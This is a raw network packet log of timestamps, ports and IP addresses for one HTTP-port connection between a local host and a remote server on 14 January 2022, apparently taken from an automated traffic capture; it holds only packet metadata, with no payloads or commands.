Jan 14, 2022 05:00:01.302402973 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.302439928 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.302455902 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.302481890 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.302520037 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.302530050 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.302560091 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.302598000 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.302613974 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.302635908 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.302675009 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.302684069 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.340209007 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.340267897 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.340302944 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.342967033 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.343009949 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.343049049 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.343086958 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.343095064 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.343125105 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.343127966 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.343170881 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.343182087 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.343209982 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.343249083 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.343261957 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.343288898 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.343326092 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.343339920 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.343364954 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.343401909 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.343415976 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.343441963 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.343483925 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.343489885 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.343521118 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.343559027 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.343569040 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.343599081 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.343646049 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.349833012 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.349948883 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.349988937 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.350012064 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.350028038 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.350069046 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.350092888 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.350110054 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.350157022 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.355312109 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.355385065 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.355439901 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.355444908 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.355504990 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.355555058 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.355562925 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.355623007 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.355670929 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.355681896 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.355742931 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.355791092 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.355798960 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.355859041 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.355916023 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.355926037 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.355972052 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.356019020 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.356026888 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.356084108 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.356133938 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.359486103 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.359545946 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.359585047 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.359607935 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.359623909 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.359663010 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.359677076 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.359704018 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.359741926 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.359750032 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.359785080 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.359822989 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.359829903 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.359863997 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.359904051 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.359910011 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.359941959 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.359981060 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.359988928 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.360021114 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.360059977 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.360065937 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.360101938 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.360141993 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.360162973 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.360181093 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.360208035 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.360219955 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.360258102 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.360271931 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.360297918 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.360337973 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.360351086 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.360377073 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.360416889 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.360423088 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.360455036 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.360496044 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.360502958 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.360533953 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.360570908 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.360579967 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.360610962 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.360650063 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.360656023 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.360691071 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.360730886 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.360737085 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.360769033 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.360807896 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.360816956 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.360847950 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.360884905 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.360898972 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.360924959 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.360961914 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.360975981 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.361001015 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.361040115 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.361049891 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.361078978 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.361116886 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.361130953 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.361156940 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.361193895 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.361202955 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.361232996 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.361270905 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.361279964 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.361310959 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.361350060 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.361356974 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.361387014 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.361426115 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.361440897 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.361464024 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.361501932 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.361514091 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.361540079 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.361588955 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.381359100 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.397303104 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.397357941 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.397396088 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.397433996 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.397525072 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.397572994 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.400623083 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.400666952 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.400707006 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.400744915 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.400784016 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.400810003 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.400839090 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.400840998 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.400876999 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.400907993 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.400917053 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.400957108 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.400986910 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.400995970 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.401036024 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.401052952 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.401074886 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.401113987 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.401129961 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.401181936 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.401217937 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.401232958 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.401257038 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.401297092 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.401310921 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.401335955 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.401388884 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.411376953 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.411417007 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.411453962 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.411492109 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.411530972 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.411569118 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.411567926 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.411617994 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.411628008 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.412750006 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.412790060 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.412827969 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.412866116 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.412904024 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.412915945 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.412944078 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.412945986 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.412985086 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.413008928 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.413027048 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.413064957 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.413094997 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.413122892 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.413161993 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.413177013 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.413199902 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.413239002 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.413255930 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.413279057 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.413330078 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.418298006 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.418339968 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.418375969 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.418410063 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.418417931 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.418458939 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.418477058 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.418498993 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.418536901 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.418553114 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.418576956 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.418613911 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.418632030 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.418653965 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.418694019 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.418709040 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.418734074 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.418772936 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.418787956 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.418812037 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.418850899 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.418864965 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.418891907 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.418929100 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.418946028 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.418970108 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.419008017 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.419023037 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.419048071 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.419086933 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.419101954 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.419126987 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.419167042 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.419181108 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.419205904 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.419244051 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.419260979 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.419282913 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.419320107 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.419337034 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.419359922 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.419399023 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.419413090 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.419437885 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.419476986 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.419498920 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.419517994 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.419554949 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.419576883 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.419595003 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.419634104 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.419650078 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.419673920 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.419713020 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.419727087 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.419750929 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.419789076 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.419802904 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.419828892 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.419864893 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.419882059 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.419904947 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.419943094 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.419959068 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.419982910 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.420022011 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.420037031 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.420059919 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.420099974 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.420115948 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.420139074 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.420176983 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.420192003 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.420216084 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.420254946 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.420268059 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.420295954 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.420335054 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.420348883 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.433137894 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.455188990 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.455238104 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.455276966 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.455316067 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.455353975 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.455423117 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.455472946 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.455482960 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.457927942 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.457968950 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.458008051 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.458050013 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.458086014 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.458092928 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.458123922 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.458123922 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.458164930 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.458184958 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.458205938 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.458245993 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.458261013 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.458285093 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.458323956 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.458340883 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.458363056 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.458400965 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.458420038 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.458440065 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.458477974 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.458493948 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.458519936 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.458559036 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.458573103 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.458596945 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.458653927 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.462300062 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.468626976 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.468678951 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.468719959 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.468756914 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.468797922 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.468803883 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.468833923 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.468842030 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.468900919 CET	49905	80	192.168.2.3	94.142.143.91
